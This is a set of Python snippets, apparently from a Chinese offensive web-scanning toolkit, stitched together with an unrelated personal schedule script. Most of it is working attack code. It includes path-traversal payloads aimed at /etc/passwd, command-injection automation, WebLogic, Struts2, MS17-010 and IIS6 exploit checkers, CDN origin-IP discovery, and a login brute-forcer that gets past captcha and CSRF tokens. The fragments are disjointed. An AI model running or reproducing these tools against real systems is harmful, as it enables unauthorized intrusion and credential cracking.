def get_actual_ip_from_domain(self): # 尝试获得domain背后的真实ip,前提是domain有cdn # 如果找到了则返回ip,如果没有找到返回0 CLIOutput().good_print("进入获取真实ip函数,认为每个domain都是有cdn的情况来处理") import socket has_cdn_value = self.domain_has_cdn() if has_cdn_value['has_cdn'] == 1: CLIOutput().good_print("检测到domain:%s的A记录不止一个,认为它有cdn" % self.domain) pass else: CLIOutput().good_print("Attention...!!! Domain doesn't have cdn,I will return the only one ip") true_ip = socket.gethostbyname_ex(self.domain)[2][0] return true_ip # 下面尝试通过cloudflare在线查询真实ip接口获取真实ip if has_cdn_value['is_cloud_flare'] == 1: ip_value = self.get_ip_value_from_online_cloudflare_interface() if ip_value != 0: return ip_value else: pass # 下面尝试通过可能存在的phpinfo页面获得真实ip ip_from_phpinfo = self.get_domain_actual_ip_from_phpinfo() if ip_from_phpinfo == 0: pass else: return ip_from_phpinfo # 下面通过mx记录来尝试获得真实ip result = self.check_if_mx_c_machines_has_actual_ip_of_domain() if result == 0: pass else: return result print("很遗憾,在下认为%s有cdn,但是目前在下的能力没能获取它的真实ip,当前函数将返回0" % self.domain) return 0
def check(url): current_urls_to_check = [] current_urls_to_check.append( url.replace( "xxxxxxxxxx", "/../../../../../../../../../../../../../../../etc/passwd")) current_urls_to_check.append( url.replace( "xxxxxxxxxx", "%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd" )) current_urls_to_check.append( url.replace( "xxxxxxxxxx", "/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" )) current_urls_to_check.append( url.replace( "xxxxxxxxxx", "%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd" )) for url in current_urls_to_check: print(url) if "^" not in url: rep = requests.get(url, headers=headers, verify=False, timeout=10) content = rep.content import chardet bytes_encoding = chardet.detect(content)['encoding'] content = content.decode(bytes_encoding) if re.search(r"root:", content): string_to_write = "Congratulations! LFI vul exists:" + url + "\n" CLIOutput().good_print(string_to_write) with open("%s/result.txt" % current_dir, "a+") as f: f.write(string_to_write) break else: print("no lfi vul") else: _url = url.split("^")[0] post_str = url.split("^")[1] rep = requests.post(_url, headers=headers, data=post_str.encode("utf-8"), verify=False, timeout=10) content = rep.content import chardet bytes_encoding = chardet.detect(content)['encoding'] content = content.decode(bytes_encoding) if re.search(r"root:", content): string_to_write = "Congratulations! LFI vul exists:" + url + "\n" CLIOutput().good_print(string_to_write) with open("%s/result.txt" % current_dir, "a+") as f: f.write(string_to_write) break else: print("no lfi vul")
def check(url): param_value_list = re.findall(r"([^?\^&=]+)=([^&\s]*\d+)(?:&|$)", url, re.I) for param_value in param_value_list: param = param_value[0] value = param_value[1] if value[-1] != '9': newvalue = value[:-1] + str(int(value[-1]) + 1) else: newvalue = value[:-1] + '0' newurl = url.replace(param + '=' + value, param + '=' + newvalue) if "^" not in url: # get request rsp = requests.get(newurl) else: # post request post_url = newurl.split("^")[0] data = newurl.split("^")[1] rsp = requests.post(post_url, data=data.encode("utf-8"), verify=False, timeout=10) if rsp.status_code == 200 and not rsp.history: string_to_write = ("Congratulations! unauthorize vul may exist:" + url + "the vul param is:" + param + "\n") CLIOutput().good_print(string_to_write) with open("%s/result.txt" % current_dir, "a+") as f: f.write(string_to_write)
def check(url): url = url.replace("xxxxxxxxxx", "*") current_log_file = "/tmp/commix_" + str(time.time()) if "^" in url: url_list = url.split("^") url = url_list[0] data = url_list[1] if cookie != "": cmd = '''cd %s && python2 commix.py -u "%s" --data "%s" --cookie "%s" -v 3 --batch | tee %s''' % ( current_dir + "/commix", url, data, cookie, current_log_file) os.system(cmd) else: cmd = '''cd %s && python2 commix.py -u "%s" --data "%s" -v 3 --batch | tee %s''' % ( current_dir + "/commix", url, data, current_log_file) os.system(cmd) else: if cookie != "": cmd = '''cd %s && python2 commix.py -u "%s" --cookie "%s" -v 3 --batch | tee %s''' % ( current_dir + "/commix", url, cookie, current_log_file) os.system(cmd) else: cmd = '''cd %s && python2 commix.py -u "%s" -v 3 --batch | tee %s''' % ( current_dir + "/commix", url, current_log_file) os.system(cmd) with open(current_log_file, "r+") as f: log_str = f.read() os.system("rm %s" % current_log_file) if re.search(r"The parameter.*seems injectable", log_str, re.I): string_to_write = "Congratulations! command injection vul exists:" + url + "\n" CLIOutput().good_print(string_to_write) with open("%s/result.txt" % current_dir, "a+") as f: f.write(string_to_write) else: print("no cmdi vul")
def domain_has_cdn(self): # 检测domain是否有cdn # 有cdn时,返回一个字典,如果cdn是cloudflare,返回{'has_cdn':1,'is_cloud_flare':1} # 否则返回{'has_cdn':1,'is_cloud_flare':0}或{'has_cdn':0,'is_cloud_flare':0} import re CLIOutput().good_print("现在检测domain:%s是否有cdn" % self.domain) has_cdn = 0 # ns记录和mx记录一样,都要查顶级域名,eg.dig +short www.baidu.com ns VS dig +short baidu.com ns result = get_string_from_command("dig ns %s +short" % get_root_domain(self.domain)) pattern = re.compile( r"(cloudflare)|(cdn)|(cloud)|(fast)|(incapsula)|(photon)|(cachefly)|(wppronto)|(softlayer)|(incapsula)|(jsdelivr)|(akamai)", re.I) cloudflare_pattern = re.compile(r"cloudflare", re.I) if re.search(pattern, result): if re.search(cloudflare_pattern, result): print("has_cdn=1 from ns,and cdn is cloudflare") return {'has_cdn': 1, 'is_cloud_flare': 1} else: print("has_cdn=1 from ns") return {'has_cdn': 1, 'is_cloud_flare': 0} else: # 下面通过a记录个数来判断,如果a记录个数>1个,认为有cdn result = get_string_from_command("dig a %s +short" % self.domain) find_a_record_pattern = re.findall(r"((\d{1,3}\.){3}\d{1,3})", result) if find_a_record_pattern: ip_count = 0 for each in find_a_record_pattern: ip_count += 1 if ip_count > 1: has_cdn = 1 return {'has_cdn': 1, 'is_cloud_flare': 0} return {'has_cdn': 0, 'is_cloud_flare': 0}
def check(url): #print("正在检测第%d个url:%s" % (status_num,url)) vuln_url = url + check_addr content = requests.get(vuln_url, verify=False, timeout=10) if content.status_code == 200: rsp = requests.post(vuln_url, headers=heads, data=post_str.encode("utf-8"), verify=False, timeout=10) content = rsp.content import chardet bytes_encoding = chardet.detect(content)['encoding'] content = content.decode(bytes_encoding) if re.search(r"java\.lang\.ProcessBuilder", content, re.I): # print "getshell success,shell is:%s"%(url+shell_addr) string_to_write = "Congratulations! weblogic 远程命令执行漏洞存在:\n" + url + shell_addr + "\n" CLIOutput().good_print(string_to_write) with open("%s/result.txt" % current_dir, "a+") as f: f.write(string_to_write) else: print("失败") else: print(content.status_code)
def get_domain_actual_ip_from_phpinfo(self): # 从phpinfo页面尝试获得真实ip CLIOutput().good_print("现在尝试从domain:%s可能存在的phpinfo页面获取真实ip" % self.domain) phpinfo_page_list = ["info.php", "phpinfo.php", "test.php", "l.php"] for each in phpinfo_page_list: url = self.http_or_https + "://" + self.domain + "/" + each CLIOutput().good_print("现在访问%s" % url) visit = get_request(url,'seleniumPhantomJS') code = visit['code'] content = visit['content'] pattern = re.compile(r"remote_addr", re.I) if code == 200 and re.search(pattern, content): print(each) actual_ip = re.search(r"REMOTE_ADDR[^\.\d]+([\d\.]{7,15})[^\.\d]+", content).group(1) return actual_ip # return 0代表没有通过phpinfo页面得到真实ip return 0
def flush_dns(self): # 这个函数用来刷新本地dns cache # 要刷新dns cache才能让修改hosts文件有效 CLIOutput().good_print("现在刷新系统的dns cache") command = "service network-manager restart && /etc/init.d/networking force-reload" os.system(command) import time time.sleep(3)
def check_if_ip_c_machines_has_actual_ip_of_domain(self, ip): # 检测ip的c段有没有domain的真实ip,如果有则返回真实ip,如果没有则返回0 CLIOutput().good_print("现在检测ip为%s的c段中有没有%s的真实ip" % (ip, self.domain)) target_list = self.get_c_80_or_443_list(ip) for each_ip in target_list: if True == self.check_if_ip_is_actual_ip_of_domain(each_ip): return each_ip return 0
def check(url): for ver in flag_list: for poc in flag_list[ver]['poc']: try: if ver == "S2_045": request = urllib.request.Request(url) request.add_header("Content-Type", poc) else: request = urllib.request.Request(url, poc) res_html = urllib.request.urlopen(request).read(204800) if flag_list[ver]['key'] in res_html: string_to_write = "Congratulations! 存在struts2漏洞! ver:%s\npoc:\n%s" % ( ver, poc) CLIOutput.good_print(string_to_write) with open("%s/result.txt" % current_dir, "a+") as f: f.write(string_to_write) except: pass
def check_if_ip_is_actual_ip_of_domain(self,ip): # 通过修改hosts文件检测ip是否是domain对应的真实ip # 如果是则返回True,否则返回False #CLIOutput().good_print("现在通过修改hosts文件并刷新dns的方法检测ip:%s是否是domain:%s的真实ip" % (ip,self.domain)) #python通过requests库或mechanicalsoup库或selenium_phantomjs来请求时不会被dns缓存影响,只会被hosts文件影响dns解析,人工用浏览器访问域名则会受dns缓存影响 CLIOutput().good_print("现在通过修改hosts文件的方法检测ip:%s是否是domain:%s的真实ip" % (ip,self.domain)) os.system("cp /etc/hosts /etc/hosts.bak") self.modify_hosts_file_with_ip_and_domain(ip) #python通过requests库或mechanicalsoup库或selenium_phantomjs来请求时不会被dns缓存影响,只会被hosts文件影响dns解析,人工用浏览器访问域名则会受dns缓存影响 #self.flush_dns() hosts_changed_domain_title= get_request(self.http_or_https + "://%s" % self.domain,'selenium_phantom_js')['title'] os.system("rm /etc/hosts && mv /etc/hosts.bak /etc/hosts") #这里要用title判断,html判断不可以,title相同则认为相同 if self.domain_title == hosts_changed_domain_title: CLIOutput().good_print("检测到真实ip!!!!!!",'red') return True else: CLIOutput().good_print("当前ip不是域名的真实ip",'yellow') return False
def get_ip_value_from_online_cloudflare_interface(self): # 从在线的cloudflare查询真实ip接口处查询真实ip # 如果查询到真实ip则返回ip值,如果没有查询到则返回0 CLIOutput().good_print("现在从在线cloudflare类型cdn查询真实ip接口尝试获取真实ip") url = "http://www.crimeflare.com/cgi-bin/cfsearch.cgi" post_data = 'cfS=%s' % self.domain content = post_request(url, post_data) findIp = re.search(r"((\d{1,3}\.){3}\d{1,3})", content) if findIp: return findIp.group(1) return 0
def modify_hosts_file_with_ip_and_domain(self,ip): # 这个函数用来修改hosts文件 CLIOutput().good_print("现在修改hosts文件") exists_domain_line = False with open("/etc/hosts", "r+") as f: file_content = f.read() if re.search(r"%s" % self.domain.replace(".", "\."), file_content): exists_domain_line = True if exists_domain_line == True: os.system("sed -ri 's/.*%s.*/%s %s/' %s" % (self.domain.replace(".", "\."), ip, self.domain, "/etc/hosts")) else: os.system("echo %s %s >> /etc/hosts" % (ip, self.domain))
def check(url): #print("正在检测第%d个url:%s" % (statusNum,url)) vuln_url = url + check_addr content = requests.get(vuln_url, verify=False, timeout=10) if content.status_code == 200: string_to_write = "Congratulations! j_security_check漏洞存在:\n" + vuln_url + "\n" CLIOutput().good_print(string_to_write) with open("%s/result.txt" % current_dir, "a+") as f: f.write(string_to_write) else: print(content.status_code)
def check_if_mx_c_machines_has_actual_ip_of_domain(self): # 检测domain的mx记录所在ip[或ip列表]的c段中有没有domain的真实ip # 有则返回真实ip,没有则返回0 CLIOutput().good_print("尝试从mx记录的c段中查找是否存在%s的真实ip" % self.domain) ip_list = self.get_ip_from_mx_record() if ip_list != []: for each_ip in ip_list: result = self.check_if_ip_c_machines_has_actual_ip_of_domain(each_ip) if result != 0: return result else: continue return 0
def get_c_80_or_443_list(self,ip): # 得到ip的整个c段的开放80端口或443端口的ip列表 if "not found" in get_string_from_command("masscan"): #这里不用nmap扫描,nmap扫描结果不准 os.system("apt-get install masscan") if self.http_or_https=="http": scanPort=80 CLIOutput().good_print("现在进行%s的c段开了80端口机器的扫描" % ip) if self.http_or_https=="https": scanPort=443 CLIOutput().good_print("现在进行%s的c段开了443端口机器的扫描" % ip) masscan_command = "masscan -p%d %s/24 > /tmp/masscan.out" % (scanPort,ip) os.system(masscan_command) with open("/tmp/masscan.out", "r+") as f: strings = f.read() #os.system("rm /tmp/masscan.out") import re allIP=re.findall(r"((\d{1,3}\.){3}\d{1,3})",strings) ipList=[] for each in allIP: ipList.append(each[0]) print(ipList) return ipList
def check(url): #print("正在检测第%d个url:%s" % (status_num,url)) vuln_url = url + check_addr rsp = requests.get(vuln_url, verify=False, timeout=10) if rsp.status_code == 200: content = rsp.content import chardet bytes_encoding = chardet.detect(content)['encoding'] content = content.decode(bytes_encoding) if re.search(r"127\.0\.0\.1", content, re.I): string_to_write = "Congratulations! uddiexplorer/SearchPublicRegistries漏洞存在:\n" + vuln_url + "\n" CLIOutput().good_print(string_to_write) with open("%s/result.txt" % current_dir, "a+") as f: f.write(string_to_write) else: print(content.status_code)
def check_if_ip_is_actual_ip_of_domain(self, ip): # 通过修改hosts文件检测ip是否是domain对应的真实ip # 如果是则返回True,否则返回False CLIOutput().good_print( "现在通过修改hosts文件并刷新dns的方法检测ip:%s是否是domain:%s的真实ip" % (ip, self.domain)) os.system("cp /etc/hosts /etc/hosts.bak") self.modify_hosts_file_with_ip_and_domain(ip) self.flush_dns() hosts_changed_domain_title = get_request( self.http_or_https + "://%s" % self.domain, 'seleniumPhantomJS')['title'] os.system("rm /etc/hosts && mv /etc/hosts.bak /etc/hosts") #这里要用title判断,html判断不可以,title相同则认为相同 if self.domain_title == hosts_changed_domain_title: print("是的!!!!!!!!!!!!") return True else: print("不是的!!!!!!!!!!!!") return False
def crack_admin_login_url_thread(url,username,password): if get_flag[0] == 1: return try_time[0] += 1 if requestAction=="GET": final_request_url=form_action_url final_request_url=re.sub(r"%s=[^&]*" % user_form_name,"%s=%s" % (user_form_name,username),final_request_url) final_request_url=re.sub(r"%s=[^&]*" % pass_form_name,"%s=%s" % (pass_form_name,password),final_request_url) if has_yanzhengma[0]: if needOnlyGetOneYanZhengMa: yanzhengmaValue=onlyOneYanZhengMaValue else: yanzhengmaValue=get_one_valid_yangzhengma_from_src(yanzhengma_src) final_request_url=re.sub(r"%s=[^&]*" % yanzhengma_form_name,"%s=%s" % (yanzhengma_form_name,yanzhengmaValue),final_request_url) if hasCsrfToken: final_request_url=re.sub(r"%s=[^&]*" % csrfTokenName,currentCsrfTokenPart[0],final_request_url) html=s.get(final_request_url).text if hasCsrfToken: csrfTokenValue=get_csrf_token_value_from_html(html) currentCsrfTokenPart[0]=csrfTokenPart+csrfTokenValue else: #post request paramPartValue=form_action_url.split("^")[1] paramList=paramPartValue.split("&") values={} for eachP in paramList: eachPList=eachP.split("=") eachparamName=eachPList[0] eachparamValue=eachPList[1] if eachparamName==user_form_name: eachparamValue=username if eachparamName==pass_form_name: eachparamValue=password values[eachparamName]=eachparamValue if has_yanzhengma[0]: if not needOnlyGetOneYanZhengMa: values[yanzhengma_form_name]=get_one_valid_yangzhengma_from_src(yanzhengma_src) else: values[yanzhengma_form_name]=onlyOneYanZhengMaValue if hasCsrfToken: values[csrfTokenName]=re.search(r"[^=]+=(.*)",currentCsrfTokenPart[0]).group(1) html = s.post(form_action_url.split("^")[0], values).text if hasCsrfToken: csrfTokenValue=get_csrf_token_value_from_html(html) currentCsrfTokenPart[0]=csrfTokenPart+csrfTokenValue USERNAME_PASSWORD = "******" + username + ":" + \ password + ")" + (52 - len(password)) * " " # 每100次计算完成任务的平均速度 left_time = get_remain_time( start[0], biaoji_time[0], remain_time[0], 100, try_time[0], sum[0]) remain_time[0] = left_time sys.stdout.write('-' * (try_time[0] * 100 // sum[0]) + '>' + str(try_time[0] * 100 // sum[0]) + '%' + ' %s/%s remain time:%s %s\r' % (try_time[0], sum[0], remain_time[0], USERNAME_PASSWORD)) sys.stdout.flush() if len(html) > logined_least_length: # 认为登录成功 get_flag[0] = 1 end = time.time() CLIOutput().good_print( "congratulations!!! admin login url cracked succeed!!!", "red") string = "cracked admin login url:%s username and password:(%s:%s)" % ( url, username, password) CLIOutput().good_print(string, "red") return_string[0]=string print("you spend time:" + str(end - start[0])) http_domain_value = get_http_domain_from_url(url) # 经验证terminate()应该只能结束当前线程,不能达到结束所有线程 table_name_list = get_target_table_name_list(http_domain_value) urls_table_name = http_domain_value.split( "/")[-1].replace(".", "_") + "_urls" return {'username': username, 'password': password}
import re import sys import frida from urllib.parse import quote from exp10it import send_http_package from exp10it import CLIOutput output = CLIOutput() pid = input( "Please input your target process pid in your usb device(ps aux | egrep '^mobile.*ProcessNameHere.*'):\n > " ) try: session = frida.get_usb_device().attach(int(pid)) except Exception as e: print(e) sys.exit(0) http_or_https = input( "Please input your request is 'http' or 'https':\ndefault['https'] > " ) or "https" encrypt_type = input( "Please input encrypt type:\n1.Only part of get|post parameter value should be encrypted\n2.All post content should be encrypted\ndefault[1] > " ) or "1" with open("example1.js", "r+") as f: example_script_string = f.read() print(example_script_string) js_file = input( "Upon is a js example file,please input your frida js file containing the rpc function:\n > " ) with open(js_file, "r+") as f: script_string = f.read()
printString="["+startTime+"-"+endTime+" 正在进行:"+each[2]+"]" t=MyThread(output.continue_bottom_print,(printString,)) t.start() hasPrintStatusTimeZoneList.append(todayDate+":"+startTime+"-"+endTime) if endTime == now: if todayDate+"'"+now not in saidNowEndList: os.system("say '注意,现在结束%s'" % each[2]) #output.bottom_print("\r"+" "*len(printString)) output.bottom_print("[完成'%s']" % each[2]) #sys.stdout.flush() output.stop_order=1 saidNowEndList.append(todayDate+"'"+now) output = CLIOutput() jiangli = ["今日dj", "本周2次dj", "可以买一个礼物给家人", "可以买一本好书给自己", "可以获得一次抵消惩罚的机会", "明天完成main后可以自由娱乐或其他安排", "周末可以自由安排", "增加可购买想要的东西的基金200元"] chengfa = ["周末Ndj", "周末全部时间用来学习,禁止娱乐", "周末全部时间用来练习五笔", "周末全部时间用来背单词", "周末背2000个单词后才可以休息, 否则不能进行任意娱乐", "减少基金200元"] jiangliIndex = random.randint(0, len(jiangli) - 1) chengfaIndex = random.randint(0, len(chengfa) - 1) while 1: import time nowYear = time.strftime("%y") nowMonth = time.strftime("%m") nowDate = time.strftime("%d") todayDate = nowYear + nowMonth + nowDate choose = input('''请输入你遇到的问题: 1.效率不高
import re import os import sys exp10it_module_path = os.path.expanduser("~") + "/exp10it" sys.path.insert(0, exp10it_module_path) import time from urllib.parse import urlparse from exp10it import CLIOutput target = sys.argv[1] print("checking ms17-010 vul for " + target) current_dir = os.path.split(os.path.realpath(__file__))[0] current_log_file = "/tmp/commix_" + str(time.time()) if target[:4] == "http": target = urlparse(target).hostname if not os.path.exists("%s/smb-vuln-ms17-010.nse" % current_dir): os.system( "cd %s && wget https://raw.githubusercontent.com/cldrn/nmap-nse-scripts/master/scripts/smb-vuln-ms17-010.nse" % current_dir) cmd = "nmap --script=%s/smb-vuln-ms17-010.nse %s 2>&1 | tee %s" % ( current_dir, target, current_log_file) a = os.system(cmd) with open(current_log_file, "r+") as f: log_str = f.read() if re.search(r"VULNERABLE", log_str, re.I): os.system("mv %s %s/result.txt" % (current_log_file, current_dir)) CLIOutput().good_print("Congratulations! MS10-010 exists on %s" % target) else: os.system("rm %s" % current_log_file)
import sys from exp10it import COMMON_NOT_WEB_PORT_LIST from exploit import get_target_open_port_list current_dir = os.path.split(os.path.realpath(__file__))[0] target = sys.argv[1] print("checking iis vul for " + target) domain = target.split("/")[-1] open_port_list = get_target_open_port_list(target) for each_port in open_port_list: if each_port not in COMMON_NOT_WEB_PORT_LIST: server_type = get_server_type(target) if not re.search(r"iis/6", server_type, re.I): continue a = get_string_from_command("cd %s && python2 iis6.py %s %s" % (current_dir, domain, each_port)) if re.search(r"HHIT CVE-2017-7269 Success", a, re.I): string_to_write = "Congratulations! 存在iis6.0远程溢出漏洞:\n%s:%s" % ( domain, each_port) CLIOutput.good_print(string_to_write) with open("%s/result.txt" % current_dir, "a+") as f: f.write(string_to_write) else: print( "coz I found no nmap scan result from database,I will test only on the default port but not test on all open ports" )
# 服务端(如kali)需要修改/usr/lib/python3.6/http/server.py里面的def # log_request中的在终端打印每个http请求的代码,要不然终端会有点乱 import pdb import re import sys import time from urllib.parse import quote from exp10it import CLIOutput from exp10it import base64decodeStr from exp10it import MyThread output = CLIOutput() client_list = [] choose_client_ip = "" def start_transfer_server(): from http.server import BaseHTTPRequestHandler, HTTPServer class S(BaseHTTPRequestHandler): def _set_headers(self): self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() def do_GET(self): global choose_client_ip ip = re.search(r"ip=([^&]+)", self.path) if ip: ip = ip.group(1) action = re.search(r"action=([^&]+)", self.path)